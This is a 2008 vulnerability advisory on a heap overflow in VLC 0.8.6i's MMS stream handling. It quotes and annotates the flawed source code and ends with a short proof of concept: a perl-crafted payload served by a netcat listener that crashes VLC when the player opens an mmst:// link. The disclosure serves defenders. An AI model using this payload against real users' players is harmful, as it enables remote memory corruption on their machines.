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- - Orange Bat advisory -

Name         : VLC 0.8.6i MMS Protocol Handling
Class          : Heap Overflow
Published     : 2008-08-24
Credit    : g_ (g_ # orange-bat # com)

- - Details -

This can be exploited from remote. User have to open mmst://
link poiting to server controlled by the attacker.

vlc\modules\access\mms\mmstu.c :

static int mms_ReceiveCommand( access_t *p_access )
{
    access_sys_t *p_sys = p_access->p_sys;

    for( ;; )
    {
        int i_used;
        int i_status;

        if( NetFillBuffer( p_access ) < 0 )
        {
            msg_Warn( p_access, "cannot fill buffer" );
            return VLC_EGENERIC;
        }
        if( p_sys->i_buffer_tcp > 0 )
        {
[1]         i_status = mms_ParseCommand( p_access, p_sys->buffer_tcp,
                                         p_sys->i_buffer_tcp, &i_used );
[2]         if( i_used < MMS_BUFFER_SIZE )  
            {
[3]             memmove( p_sys->buffer_tcp, p_sys->buffer_tcp + i_used,
                         MMS_BUFFER_SIZE - i_used );  //BUG! i_used overflow

(...)

[1] - function that sets i_used to negative value, see below
[2] - i_used is signed, so predicate is true
[3] - actual overflow, we have good control over what is written

static int  mms_ParseCommand( access_t *p_access,
                              uint8_t *p_data,
                              int i_data,
                              int *pi_used )
(...)
    i_length = GetDWLE( p_data + 8 ) + 16;
(...)
    if( i_length > p_sys->i_cmd )
    {
        msg_Warn( p_access,
                  "truncated command (missing %d bytes)",
                   i_length - i_data  );
        p_sys->i_command = 0;
        return -1;
    }
[1] else if( i_length < p_sys->i_cmd )
    {
        p_sys->i_cmd = i_length;
[2]     *pi_used = i_length;
    }

(...)

[1] - predicate is true
[2] - sets i_used from mms_ReceiveCommand

- - Proof of concept -

on localhost:

perl -e 'print "aaaa\xce\xfa\x0b\xb0\xef\xff\xef\xff"; print "a"x100' > headshot
nc -l -v -p 1755 < headshot 

open this url in VLC:

mmst://127.0.0.1/

boom! headshot :)

- - PGP -

All advisories from Orange Bat are signed. You can find our public
key here: http://www.orange-bat.com/g_.asc

- - Disclaimer -

This document and all the information it contains is provided "as is",
without any warranty. Orange Bat is not responsible for the
misuse of the information provided in this advisory. The advisory is
provided for educational purposes only.

Permission is hereby granted to redistribute this advisory, providing
that no changes are made and that the copyright notices and
disclaimers remain intact.

(c) 2008 www.orange-bat.com 


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